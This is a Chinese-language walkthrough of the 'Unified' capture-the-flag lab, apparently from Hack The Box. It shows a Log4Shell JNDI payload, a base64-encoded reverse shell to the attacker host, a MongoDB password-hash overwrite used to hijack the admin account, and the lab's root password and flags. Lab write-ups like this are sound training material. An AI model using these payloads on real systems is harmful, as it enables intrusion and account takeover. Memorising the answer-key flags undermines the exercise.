文章目錄
- 靶機:Unified
- Task1
- Task2
- Task3
- Task4
- 5-14解題過程
- Task5
- Task6
- Task7
- Task8
- Task9
- Task10
- Task11
- Task12
- Submit user flag
- Submit root flag
靶機:Unified
Task1
問題:前四個開放端口是哪一個?
22,6789,8080,8443
nmap掃一下
Task2
問題:在端口8443上運行的軟件的標題是什么?
UniFi Network
nmap重新掃一下
nmap -sV -v -sC -p 8443 --min-rate 1000 10.129.96.149
Task3
問題:正在運行的軟件的版本是什么?
6.4.54
我們通過nmap掃描結果可以知道,8080端口有http服務
訪問一下得到版本
Task4
問題:已識別漏洞的CVE是什么?
CVE-2021-44228
去網上搜一下該版本的漏洞即可
5-14解題過程
搜出來存在log4j漏洞,我們抓包/api/login
,構造語句
驗證Log4j漏洞是否存在payload
{"username":"1","password":"1","remember":"${jndi:ldap://10.10.14.212/whatever}","strict":true
}
LDAP 輕量級目錄訪問協議,默認端口389,如果存在漏洞發送payload消息,會發送數據報文到本機389端
我們開個監聽
sudo tcpdump -i tun0 port 389
注:tcpdump是wireshark的一個程序,可以進行攔截
可以發現攔截成功,說明目標主機是通過37900端口來訪問本機ldap端口
工具準備如下
準備工具:
openjdk-11-jdk
sudo apt-get install openjdk-11-jdk -y
Maven
sudo apt-get install maven -y
編譯maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
//這里要換成阿里云的源,不然下載速度很慢
mvn package
然后準備反彈shell
執行以下命令
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTIvMTAyOCAwPiYxJw==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.212"
然后開啟監聽,bp發送
成功反彈shell
然后先找到user的flag
查看mongdb端口情況
ps aux | grep mongo
查詢結果中的bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117 --unixSocketPrefix /usr/lib/unifi/run --logRotate reopen --logappend --logpath /usr/lib/unifi/logs/mongod.log --pidfilepath /usr/lib/unifi/run/mongod.pid --bind_ip 127.0.0.1 是正在運行的命令或可執行文件的路徑和參數,說明端口為27117
嘗試讀取管理員密碼,UniFi程序的默認數據庫ace,查詢admin表的數據
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
注:參數–eval
發現administrator的賬戶信息以及密碼的加密信息
x_shadow即是密碼哈希, SHA-512 算法使用一個以 6 6 6 開頭的 16 字符字符串鹽值進行散列
以$6$開頭的,表明是用SHA-512加密的;
以$1$開頭的,表明是用MD5加密的;
以$2$開頭的,表明是用Blowfish加密的;
以$5$開頭的,表明是用 SHA-256加密的。星號代表帳號被鎖定ps:是在linux shadow文件才這么表示
當然可以直接用工具hashid解密一下加密方式,發現是sha512
由于是散列函數,無法破解,只能使用替換方法
替換mongdb中的administrator的密鑰,如下加密admin
利用nosql的語法,update以下
mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$jaYBW0iCZNXzIuZk$FtGH/we0.hTsf63jTv6fh3sgcPP/J0uIXKXp0ADNWelcqW0ykcTiwnkvI.YePmnRpYMKZ24cqsSCxxg2RtBBs1"}})'
然后可以自己再看看會發現,已經把密鑰改為我們設置的admin的
我們直接登錄,在設置發現允許ssh連接并且知道root密碼
ssh連接成功
繼續得到root的flag
Task5
問題:JNDI在注入中利用了什么協議?
ldap
Task6
問題:我們使用什么工具來攔截流量,表明攻擊成功?
tcpdump
Task7
問題:我們需要在哪個端口去攔截流量傳輸?
389
Task8
問題:MongoDB服務運行在哪個端口上?
27117
Task9
問題: UniFi應用程序的默認數據庫名稱是什么?
ace
Task10
問題:在MongoDB中,我們用來枚舉數據庫中的用戶的功能是什么?
db.admin.find()
Task11
問題:在MongoDB中,我們用來更新數據庫中的用戶的功能是什么?
db.admin.update()
Task12
問題:root的密碼
NotACrackablePassword4U2022
Submit user flag
6ced1a6a89e666c0620cdb10262ba127
Submit root flag
e50bc93c75b634e4b272d2f771c33681